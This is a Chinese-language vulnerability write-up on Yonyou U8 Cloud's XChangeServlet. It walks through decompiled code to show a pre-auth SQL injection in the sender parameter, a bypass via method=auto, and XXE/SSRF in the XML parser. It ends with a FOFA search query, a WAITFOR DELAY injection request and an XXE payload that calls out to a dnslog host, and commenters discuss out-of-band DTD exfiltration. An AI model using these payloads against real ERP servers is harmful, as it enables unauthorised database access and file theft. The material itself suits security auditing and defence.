用友U8Cloud XChangeServlet SQL注入漏洞+XXE漏洞


漏洞简介

用友 U8 Cloud 是一款面向中型企业的云 ERP 系统,涵盖了财务、供应链、生产制造及人力资源管理等多个核心业务领域,是企业数字化转型的重要基础设施。

用友 U8 Cloud 的 XChangeServlet 接口存在 SQL 注入漏洞。该漏洞的成因在于系统在处理客户端请求时,未能对传入 XChangeServlet 接口的特定参数进行有效的过滤与转义处理。未经授权的攻击者可以通过构造恶意的 SQL 语句并通过该接口发送请求,从而绕过系统的安全校验,实现对后端数据库的非法查询与操作。此漏洞可能导致敏感数据泄露、数据库内容被恶意篡改,在特定情况下,攻击者甚至可能利用数据库权限获取服务器进一步控制权,对业务系统的完整性与可用性构成严重威胁。

同时该接口XChangeServlet还存在XXE漏洞,攻击者可以通过构造恶意的XML数据,利用外部实体注入(XXE)技术读取服务器上的敏感文件或执行其他未授权操作,可能导致敏感信息泄露。

影响版本

2.0 2.1 2.3 2.5 2.6 2.7 2.65 3.0 3.1 3.2 3.5 3.6 3.6sp 5.0 5.0sp 5.1 5.1sp

fofa

app="用友-U8-Cloud" || title=="U8C" && body="请下载新版UClient"

漏洞分析

首先通过 web.xml 配置URL 路径惯例 确定 XChangeServlet 的 URL 映射。

用友框架使用 InvokerServlet 作为统一调度入口,通过请求 URL 中的 servlet 名称动态查找并调用对应的业务 Servlet。因此 /servlet/XChangeServlet 实际由 InvokerServlet 拦截,然后根据名称 XChangeServlet 查找实现类并调用。

InvokerServlet 调度逻辑

// 反编译自 fw.jar: nc.bs.framework.server.InvokerServlet
public class InvokerServlet extends HttpServlet {
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) {
        String servletName = getServletNameFromURI(req.getRequestURI());
        // 从 URI 中提取 servlet 名称,例如 /servlet/XChangeServlet → "XChangeServlet"
        Object servlet = ServiceManager.lookup(servletName);
        // 查找注册的 servlet 实例
        ((HttpServlet) servlet).service(req, resp);
        // 直接调用,无认证检查
    }
}
  • InvokerServlet 没有任何认证逻辑 — 不检查 Cookie、Token、Session
  • 请求直接分发到业务 Servlet,无需登录
  • 影响:所有通过 InvokerServlet 调度的 Servlet 都是 Pre-Auth 可达的

阶段一:入口方法 — ServletForXchange.doAction()

定位入口方法

JAR 包modules/uapeai/lib/pubuapeaipfxx.jar
反编译类nc.bs.pfxx.ServletForXchange

通过 CFR 反编译后,分析 doAction() 方法的代码结构:

// 反编译自 nc.bs.pfxx.ServletForXchange
public class ServletForXchange extends HttpServlet {

    // === 入口方法 ===
    public void doAction(HttpServletRequest request, HttpServletResponse response) {
        // 步骤 ①:读取请求参数
        RequestParameter requestParam = ConfigInfoAnalyser.initRequestParameter(request);

        // 步骤 ②:IP 白名单检查
        boolean allowed = this.checkClientAddress(requestParam.getClientAddress());
        if (!allowed) {
            throw new EnvInitException("-31102", "客户端IP地址不允许访问");
        }

        // 步骤 ③:Content-Length 检查
        if (!this.checkContentLength(request)) {
            throw new EnvInitException("-31102", "请求数据长度超出限制");
        }

        // 步骤 ④:解析 XML 文档
        Document doc = XMLUtil.getDocumentBuilder()
            .parse(request.getInputStream())
            .getDocument();

        // 步骤 ⑤:初始化上下文(核心流程)
        XChangeContext context = new XChangeContext();
        context.init(requestParam, doc);

        // 步骤 ⑥:处理业务消息
        XChangeProcessor processor = new XChangeProcessor();
        Document responseDoc = processor.processMessage_Alone(doc);

        // 步骤 ⑦:返回响应
        sendBackMessage(response, responseDoc);
    }
}

审计分析

步骤 方法 审计关注点 当前判定
initRequestParameter() 参数来源、是否可注入额外参数 ⚠️ 待深入
checkClientAddress() 默认配置是否开启 ⚠️ 通常是关闭的
checkContentLength() 是否可伪造 ⚠️ 可伪造
getDocumentBuilder() XML 解析器配置是否安全 🔴 高风险
XChangeContext.init() 核心初始化逻辑 🔴 高风险
processMessage_Alone() 业务处理中是否有注入 ⚠️ 待深入

阶段二:逐步骤深入分析

步骤 ① — initRequestParameter():HTTP 参数读取

文件nc.bs.pfxx.ConfigInfoAnalyser
JARmodules/uapeai/META-INF/lib/uapeaipfxx.jar

反编译代码

// 反编译自 nc.bs.pfxx.ConfigInfoAnalyser
public static RequestParameter initRequestParameter(HttpServletRequest request) {
    RequestParameter rp = new RequestParameter();

    // === 审计关键点 1:无条件遍历所有 URL 参数 ===
    Enumeration<String> paramNames = request.getParameterNames();
    while (paramNames.hasMoreElements()) {
        String name = paramNames.nextElement();
        String value = request.getParameter(name);
        rp.setAttribute(name, value);  // 🔴 任何 URL 参数都被接受!
    }

    // === 审计关键点 2:XML body 参数也全部接受 ===
    // (在后续的 initConfigInfo 中处理,此处先登记 URL 参数)

    return rp;
}

审计分析

问题request.getParameterNames() 无条件遍历所有 HTTP 参数,不存在参数名白名单。攻击者可以在 URL 中传入任意参数名和参数值,它们都会被存入 RequestParameter 对象并在后续流程中使用。

代码审计技巧 — 参数污染检查

1. 定位所有调用 request.getParameter() / getParameterNames() 的位置
2. 检查是否存在参数名校验(白名单)
3. 检查参数值是否经过过滤/转义
4. 检查参数被存储后,在哪些下游方法中被读取和使用

审计结论:🔴 任意 URL 参数可注入 — 攻击者可传入 method=autoaccount=<任意> 等参数来影响后续逻辑。


步骤 ② — checkClientAddress():IP 白名单

反编译代码

// 反编译自 nc.bs.pfxx.ServletForXchange
private boolean checkClientAddress(String clientIp) {
    // 检查是否启用了 IP 白名单
    String allowedIps = getSysInitParam("ALLOWED_CLIENT_IPS");
    if (allowedIps == null || allowedIps.trim().isEmpty()) {
        return true;  // ⚠️ 默认允许所有 IP
    }
    // 白名单匹配逻辑...
}

审计分析

判定ALLOWED_CLIENT_IPS 配置项在默认安装中为空,IP 白名单不生效。该检查不构成有效防御。

审计技巧 — 配置依赖检查

1. 识别依赖外部配置的安全检查
2. 反编译查找配置读取方法(getSysInitParam / getProperty 等)
3. 判断默认值的安全性
4. 若默认值为空/关闭 → 该检查形同虚设

步骤 ③ — checkContentLength():请求体长度检查

反编译代码

private boolean checkContentLength(HttpServletRequest request) {
    int maxLen = Integer.parseInt(getSysInitParam("MAX_CONTENT_LENGTH", "10485760"));
    int contentLen = request.getContentLength();
    return contentLen <= maxLen;
}

判定Content-Length 头可被攻击者任意设置,此检查仅防止大包 DoS,不是安全边界。


步骤 ④ — XML 解析:XXE/SSRF 漏洞发现

文件nc.vo.jcom.xml.XMLUtil
JARexternal/lib/basic.jar

反编译代码

// 反编译自 nc.vo.jcom.xml.XMLUtil
public static DocumentBuilder getDocumentBuilder() {
    DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
    dbf.setValidating(false);
    dbf.setNamespaceAware(true);
    // ===== 审计关键点:以下几行完全缺失 =====
    // dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
    // dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
    // dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
    // =======================================
    return dbf.newDocumentBuilder();
}

审计分析

代码审计技巧 — XXE 检测清单

检查项 期望 实际 结果
disallow-doctype-decl true 未设置 🔴
external-general-entities false 未设置(默认 true) 🔴
external-parameter-entities false 未设置(默认 true) 🔴
load-external-dtd false 未设置 🔴
XIncludeAware false 未设置 🔴

判定逻辑:JDK 的 DocumentBuilderFactory 默认允许 DOCTYPE 声明和外部实体解析。代码中未设置任何安全 Feature flag → XXE 确认存在。

审计结论:🔴 XXE 漏洞 — 攻击者可通过 XML DOCTYPE 声明读取服务器文件(file://)或发起 SSRF 攻击(http://)。


步骤 ⑤ — XChangeContext.init():核心初始化

这是整个审计中最关键的方法,包含多条分支和多个漏洞发现。

文件nc.bs.pfxx.XChangeContext
JARmodules/uapeai/META-INF/lib/uapeaipfxx.jar

反编译代码(完整结构)

// 反编译自 nc.bs.pfxx.XChangeContext
public class XChangeContext {

    public void init(RequestParameter requestParameter, Document doc) {
        // === 子步骤 ⑤-a:合并并初始化配置参数 ===
        XChangeConfigInfo configInfo = new XChangeConfigInfo();
        ConfigInfoAnalyser.initConfigInfo(requestParameter, doc, configInfo);
        //    ↑ URL参数 XML属性 → configInfo(URL 参数后处理,覆盖 XML 属性)🔴

        // === 子步骤 ⑤-b:初始化数据源 ===
        this.initDataSource(configInfo.getAttribute("account"));
        //    ↑ account 参数来自请求 → 数据源选择 ⚠️

        // === 子步骤 ⑤-c:验证 sender(外部系统编码)===
        String sender = configInfo.getAttribute("sender");
        String exsystemPk = PfxxUtils.getExsystemPk(sender);
        //    ↑ sender 直接拼入 SQL WHERE 子句 → 🔴 SQL 注入
        if (exsystemPk == null) {
            throw new EnvInitException("-31102", sender + "不是一个合法的发送方");
        }

        // === 子步骤 ⑤-d:处理 receiver(接收公司)===
        String receiver = configInfo.getAttribute("receiver");
        String pkCorp = ConfigInfoAnalyser.splitReceiver(receiver, configInfo);
        //    ↑ receiver 经过复杂链路 → ⚠️ 潜在 SQL 注入(根因见下文)

        // === 子步骤 ⑤-e:权限校验 ===
        boolean isAuthorized = true;
        if (!"auto".equals(configInfo.getAttribute("method"))) {
            // 🔴 method=auto 时完全跳过认证
            String token = this.getToken();
            if (token == null || token.length() == 0) {
                isAuthorized = PfxxUtils.authorizationCheck(0, userCode, corp);
            } else {
                isAuthorized = PfxxUtils.authorizationCheck(1, token, corp);
            }
        }
        if (!isAuthorized) {
            throw new EnvInitException("-31102", "用户权限不足");
        }

        // === 子步骤 ⑤-f:加载单据定义 ===
        String billType = configInfo.getAttribute("billtype");
        ConfigInfoAnalyser.initBillDefine(configInfo, billType);

        // === 子步骤 ⑤-g:绑定线程上下文 ===
        this.bindInfoToCurThread(configInfo);
        //    ⚠️ 注意:setCorpCode() 在此处执行,在 splitReceiver() 之后!
    }
}

审计方法:分支逐行追踪

在进行此方法的审计时,采用了 "逐行阅读 + 分支穷举" 的策略:

对于每个 if/else 分支:
  1. 记录分支条件 → 攻击者是否能控制?
  2. 记录 true 分支 的代码路径 → 是否存在安全问题?
  3. 记录 false 分支 的代码路径 → 是否同样存在安全问题?
  4. 对于循环中的每个方法调用 → 跟踪入参来源

子步骤 ⑤-a — initConfigInfo():参数合并与覆盖漏洞

文件nc.bs.pfxx.ConfigInfoAnalyser

反编译代码

// 反编译自 nc.bs.pfxx.ConfigInfoAnalyser
public static void initConfigInfo(
        RequestParameter requestParameter,  // URL 参数
        Document doc,                        // XML 文档
        XChangeConfigInfo configInfo) {

    // === 第一轮:从 XML 属性读取参数 ===
    Element root = doc.getDocumentElement();  // <ufinterface ...>
    NamedNodeMap xmlAttrs = root.getAttributes();
    for (int i = 0; i < xmlAttrs.getLength(); i++) {
        String name = xmlAttrs.item(i).getNodeName();
        String value = xmlAttrs.item(i).getNodeValue();
        configInfo.setAttribute(name, value);  // XML 先写入
    }

    // === 第二轮:从 URL 参数读取(后写覆盖)===
    String[] urlParamNames = requestParameter.getAllFieldNames();
    for (String name : urlParamNames) {
        String value = requestParameter.getAttribute(name);
        configInfo.setAttribute(name, value);  // 🔴 URL 后写入 → 覆盖 XML!
    }
}

审计分析

关键发现:参数合并顺序是 XML 先写 → URL 后写,后写入的值覆盖先写入的值。

代码审计技巧 — 参数覆盖检测

1. 识别数据来源的多个渠道(URL、XML Body、Header、Cookie)
2. 追踪各渠道数据的合并/写入顺序
3. 确认后写入的值是否会覆盖先写入的值
4. 如果 URL > XML,则攻击者可通过 URL 注入覆盖 XML 中的安全参数

实际影响:攻击者可以通过 URL 参数 method=auto 覆盖 XML 中的 method 值,触发权限绕过。

审计结论:🔴 URL 参数覆盖 XML 属性 — 攻击者可注入 method=auto 等关键参数。


子步骤 ⑤-c — getExsystemPk(sender):Sender SQL 注入

文件nc.vo.pfxx.util.PfxxUtils
JARmodules/uapeai/lib/pubuapeaipfxx.jar

反编译代码

// 反编译自 nc.vo.pfxx.util.PfxxUtils
public static String getExsystemPk(String sender) {
    if (sender == null || sender.length() == 0) {
        return null;
    }
    try {
        // ===== 🔴 SQL 注入点 =====
        // sender 值直接拼接到 WHERE 子句,无任何过滤/转义
        String whereClause = "isnull ( dr , 0 ) = 0 and exsystemcode = '" + sender + "'";

        ExsystemVO[] exsystemVos = new BaseDAO()
            .retrieveByClause(
                Class.forName("nc.vo.pfxx.exsystem.ExsystemVO"),
                whereClause  // ← 动态拼接的 SQL
            ).toArray(new ExsystemVO[0]);

        if (exsystemVos != null && exsystemVos.length == 1) {
            return exsystemVos[0].getPrimaryKey();
        }
        return null;
    } catch (Exception e) {
        Logger.error(e.getMessage(), e);
        return null;
    }
}

审计分析

代码审计技巧 — SQL 注入检测

对于每个数据库查询方法,检查以下 5 个特征:

特征 1:WHERE 子句是否含字符串拼接?  ← 本方法:是," + sender + "
特征 2:拼接的值是否来自用户输入?    ← 是,sender 来自 HTTP 请求
特征 3:输入在拼接前是否经过过滤?    ← 否,无任何过滤/转义/白名单
特征 4:是否使用了 PreparedStatement? ← 否,使用 retrieveByClause 字符串拼接
特征 5:异常是否被静默吞没?          ← 是,catch(Exception) 仅记录日志

5/5 全部命中 → SQL 注入确认

向下追踪 retrieveByClause 实现

// 反编译自 NC 中间件: BaseDAO.retrieveByClause()
public List<VO> retrieveByClause(Class<?> voClass, String whereClause) {
    String sql = "SELECT * FROM " + getTableName(voClass) + " WHERE " + whereClause;
    //                          ↑ 直接拼接,无参数化                     ↑ 用户输入的 whereClause
    return executeQuery(sql);
}

最终生成的 SQL

SELECT * FROM exsystem WHERE isnull ( dr , 0 ) = 0 AND exsystemcode = 'test' OR '1'='1'
--                                                                    ^^^^^^^^^^^^^^^^^^^^^^^^
--                                                                    用户输入直接拼入 SQL

审计结论:🔴 Sender SQL 注入(CVSS 9.8)— 布尔盲注 + 时间盲注 + 堆叠查询均可利用。


子步骤 ⑤-d — splitReceiver():Receiver 处理与潜在 SQL 注入

文件nc.bs.pfxx.ConfigInfoAnalyser

反编译代码

// 反编译自 nc.bs.pfxx.ConfigInfoAnalyser
public static String splitReceiver(String receiver, XChangeConfigInfo configInfo) {
    // receiver 格式 "公司编码" 或 "公司编码1,公司编码2,..."
    String[] receivers = receiver.split(",");
    String corpCode = receivers[0].trim();

    // ===== 根据 corprule 配置选择不同的查询路径 =====
    int corpRule = Integer.parseInt(configInfo.getAttribute("corprule", "2"));

    if (corpRule == 0) {
        // 路径 A:通过主键查询
        return getBdPKByPK(corpCode);  // → 参数化查询(安全)
    } else {
        // 路径 B:通过编码查询 ← 默认路径
        return getBdPKByCode(corpCode);  // → 需深入追踪
    }
}

深入追踪 getBdPKByCode() 调用链

审计动作:从 getBdPKByCode() 开始,逐层追踪 receiver 值的流向,直到最终 SQL 执行。

追踪过程 — 7 层调用链

flowchart TD
    L1["Layer 1: ConfigInfoAnalyser.splitReceiver()<br/>corpCode = receiver(用户输入)"]
    L1 --> L2["Layer 2: getBdPKByCode(corpCode)<br/>bdAccessor.getDocByCode(corpCode)"]
    L2 --> L3["Layer 3: AccessorManager.getAccessor()<br/>获取 BD 访问器"]
    L3 --> L4["Layer 4: AccessorFactory.getAccessor(_, _, pk_org)<br/>🔴 if pk_org == null → return null"]
    L4 -->|pk_org != null| L5["Layer 5: BdinfoDMO.getBddata()<br/>🔴 whereClause = fieldName + &quot; = '&quot; + receiver + &quot;'&quot;"]
    L5 --> L6["Layer 6: WhereClauseDecorator.buildSQL()<br/>SQL = componentSQL + whereClause"]
    L6 --> L7["Layer 7: CorpConditionDecorator<br/>附加公司过滤条件"]
    L7 --> DB["最终 SQL 执行"]

    style L4 fill:#fff3cd,stroke:#ffc107
    style L5 fill:#f8d7da,stroke:#dc3545

    L4 -->|pk_org == null| NULL_GUARD["return null → 不执行 SQL<br/>⚠️ 默认条件下 pk_org = null"]

    style NULL_GUARD fill:#d4edda,stroke:#28a745

各层关键代码

// Layer 4: AccessorFactory.getAccessor()
// 反编译自 nc.bs.pfxx.manager.AccessorFactory
public static IBDAccessor getAccessor(String billType, String billName, String pk_org) {
    if (pk_org == null || pk_org.trim().length() == 0) {
        return null;  // 🔴 直接返回 null → SQL 不会执行!
    }
    // ... 创建 Accessor
}

// Layer 5: BdinfoDMO.getBddata()
// 反编译自 nc.vo.bdinfo.BdinfoDMO
public BdinfoVO[] getBddata(String pk_corp, String docType, String docValue) {
    String whereClause = " and " + fieldName + " = '" + docValue + "'";
    //                                                         ^^^^^^^^^
    //                            🔴 docValue(即 receiver)直接拼入 SQL 字符串
    // ...
}

Receiver SQLi 未触发的根因分析

核心发现:Layer 4 的 AccessorFactory.getAccessor() 有一个 null guard:如果 pk_org 为空,直接返回 null 而不执行任何 SQL。在默认条件下,pk_org 确实为 null,原因如下:

XChangeContext.init() 的执行顺序问题:

① initDataSource()         → 设置 UserCode,但不设置 CorpCode ❌
② getExsystemPk(sender)    → SQLi #1 可执行(不依赖 CorpCode)
③ splitReceiver()          → 调用 AccessorFactory → pk_org=null → return null
                             ↑ 此时 CorpCode 尚未设置!
④ 权限校验                  → 可能在步骤 ③ 之前或之后抛异常
⑤ bindInfoToCurThread()    → setCorpCode() 在此执行 ← 晚于步骤 ③!

审计技巧 — 条件断点 / 守卫从句分析

对于每个提前返回的 if 语句(guard clause),分析:
1. guard 条件在默认运行时是否成立?
2. 条件取决于什么?攻击者能否控制?
3. 如果条件成立,哪些代码路径被"保护"了(跳过了)?

在本例中:
- guard 条件:pk_org == null
- 默认运行时:成立(CorpCode 未在 splitReceiver 前设置)
- 攻击者能否改变:如果线程复用导致 ThreadLocal 中残留非空值,则 guard 被绕过

审计结论:🔴 Receiver SQL 注入 — 代码层面确认存在(Layer 5 字符串拼接),默认条件因执行顺序问题未触发,但线程复用场景下完全可达


子步骤 ⑤-e — 权限校验:method=auto 绕过

反编译代码

// 反编译自 nc.bs.pfxx.XChangeContext.init()
boolean isAuthorized = true;

// ===== 🔴 权限校验条件 =====
if (!"auto".equals(configInfo.getAttribute("method"))) {
    // method != "auto" 时执行认证
    String token = this.getToken();
    try {
        if (token == null || token.length() == 0) {
            // 无 token → 用户名密码认证
            isAuthorized = PfxxUtils.authorizationCheck(
                0,              // 认证类型:用户密码
                configInfo.getAttribute("operator"),   // 用户名
                configInfo.getAttribute("account")     // 账套
            );
        } else {
            // 有 token → token 认证
            isAuthorized = PfxxUtils.authorizationCheck(
                1,              // 认证类型:token
                token,          // token 值
                configInfo.getAttribute("account")
            );
        }
    } catch (BusinessException e) {
        Logger.error(e.getMessage(), e);
        isAuthorized = false;
    }
}
// ===== method == "auto" 时,isAuthorized 保持 true → 权限绕过!=====

if (!isAuthorized) {
    throw new EnvInitException("-31102", "用户权限不足");
}

审计分析

代码审计技巧 — 认证逻辑审查

对于认证/授权相关的 if 分支,检查以下模式:

模式 1:if (!specialCondition) { auth(); }
        → 当 specialCondition 为 true 时跳过认证 ← 本方法属于此模式

模式 2:if (specialCondition) { return true; } else { auth(); }
        → 同上,不同写法

模式 3:if (role == ADMIN) { return true; }  // ← 缺少 else 分支
        → 非 ADMIN 角色无返回值,可能导致默认通过

模式 4:try { auth(); } catch { /* 吞异常 */ }
        → 如果认证抛出异常但被吞没 → 绕过

判定逻辑

  • 攻击者可通过 URL 参数 method=auto 或 XML 属性 method="auto" 传入此值
  • 结合 ⑤-a 中发现的 URL 参数覆盖漏洞,即使 XML 中设置了 method,攻击者也可通过 URL 覆盖
  • method=auto 导致整个认证逻辑被跳过,isAuthorized 保持初始值 true

审计结论:🔴 权限校验绕过(CVSS 7.5)— method=auto 完全跳过认证。


步骤 ⑥ — XChangeProcessor.processMessage_Alone():业务处理

反编译代码(摘要)

// 反编译自 nc.bs.pfxx.XChangeProcessor
public Document processMessage_Alone(Document doc) {
    // 单据校验和格式转换
    this.translateDocument(doc);

    // 根据 billtype 路由到对应的业务 EJB
    BusinessProcessor dispatcher = getDispatcher(doc);
    Document result = dispatcher.process(doc);

    return result;
}

审计判定:此方法主要是格式转换和 EJB 路由,未发现新的注入点。但 translateDocument() 中的单据校验逻辑可作为后续审计的扩展方向。


漏洞汇总

flowchart TD
    A["HTTP 请求到达<br/>InvokerServlet"]
    A -->|"无认证调度"| B["ServletForXchange.doAction()"]

    subgraph S1["Entry Point 入口"]
        B --> C1["① initRequestParameter()<br/>🔴 无参数白名单 — 任意参数可注入"]
        B --> C2["② checkClientAddress()<br/>⚪ 默认关闭"]
        B --> C3["③ checkContentLength()<br/>⚪ 可伪造"]
    end

    S1 --> D["④ XML 解析<br/>🔴 XXE/SSRF — 未禁用外部实体"]

    subgraph S2["XChangeContext.init()"]
        D --> E1["⑤-a initConfigInfo()<br/>🔴 URL 参数覆盖 XML"]
        E1 --> E2["⑤-b initDataSource()<br/>⚪ account 可控"]
        E2 --> E3["⑤-c getExsystemPk(sender)<br/>🔴 SQL 注入 CVSS 9.8"]
        E3 --> E4["⑤-d splitReceiver()<br/>🔴 Receiver SQLi 代码确认<br/>⚠️ 默认未触发(执行顺序问题)"]
        E4 --> E5["⑤-e 权限校验<br/>🔴 method=auto 绕过 CVSS 7.5"]
    end

    S2 --> F["⑥ XChangeProcessor<br/>⚪ EJB 路由"]
    F --> G["⑦ sendBackMessage<br/>返回 XML 响应"]

    style C1 fill:#f8d7da,stroke:#dc3545
    style D fill:#f8d7da,stroke:#dc3545
    style E1 fill:#f8d7da,stroke:#dc3545
    style E3 fill:#f8d7da,stroke:#dc3545
    style E4 fill:#fff3cd,stroke:#ffc107
    style E5 fill:#f8d7da,stroke:#dc3545
# 漏洞 CVSS 位置 代码证据 实证验证 可利用组合
1 Sender SQL 注入 9.8 PfxxUtils.getExsystemPk() 字符串拼接 WHERE 子句 ✅ 布尔+时间盲注复现 无认证即可触发
2 权限校验绕过 7.5 XChangeContext.init() if (!"auto".equals(method)) ✅ 错误码变化确认 + 漏洞1 = 完整攻击链
3 XXE/SSRF 7.5 XMLUtil.getDocumentBuilder() 未设置安全 Feature ✅ 文件读取+SSRF确认 可读取源码/配置文件
4 URL 参数覆盖 5.3 ConfigInfoAnalyser.initConfigInfo() URL 后写覆盖 XML ✅ receiver 值被覆盖 可用于注入 method=auto
5 Receiver SQL 注入 9.8 BdinfoDMO.getBddata() " = '" + docValue + "'" ✅ 代码确认(默认条件未触发) 线程复用场景可达

漏洞复现

SQLI

POST /servlet/XChangeServlet?sender=test%27%3BWAITFOR%20DELAY%20%270%3A0%3A5%27--&receiver=0001&billtype=D0&proc=add&method=auto HTTP/1.1
Host: u8cloud
Content-Type: application/xml

<?xml version="1.0"?><ufinterface ... sender="test" ...>...</ufinterface>

XXE

POST /servlet/XChangeServlet?... HTTP/1.1
Content-Type: application/xml

<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://dnslog.pt/xxe_test">]>
<ufinterface ...><D0><id>&xxe;</id></D0></ufinterface>

参考

  • https://security.yonyou.com/#/noticeInfo?id=784

手机扫码阅读

Fastjson 1.2.83 默认配置下的远程代码执行漏洞

FOFA Leak Search:基于 Tauri 2 的跨平台 FOFA 搜索工具

评 论
avatar
pphh
师傅,xxe的利用打不成功。 一直提示:从输入流转换document出错:请检验文档格式。 能指点下有啥技巧吗?
1 个月前 回复
avatar
Mrxn
@pphh:file:/// 协议我本地测试也是不行的,可以试试DTD外带数据进行SSRF利用/证明
1 个月前 回复
avatar
Mrxn
@pphh:准确说是文件内容破坏了格式,使用DTD外带读取存在的文件应该是OK的
1 个月前 回复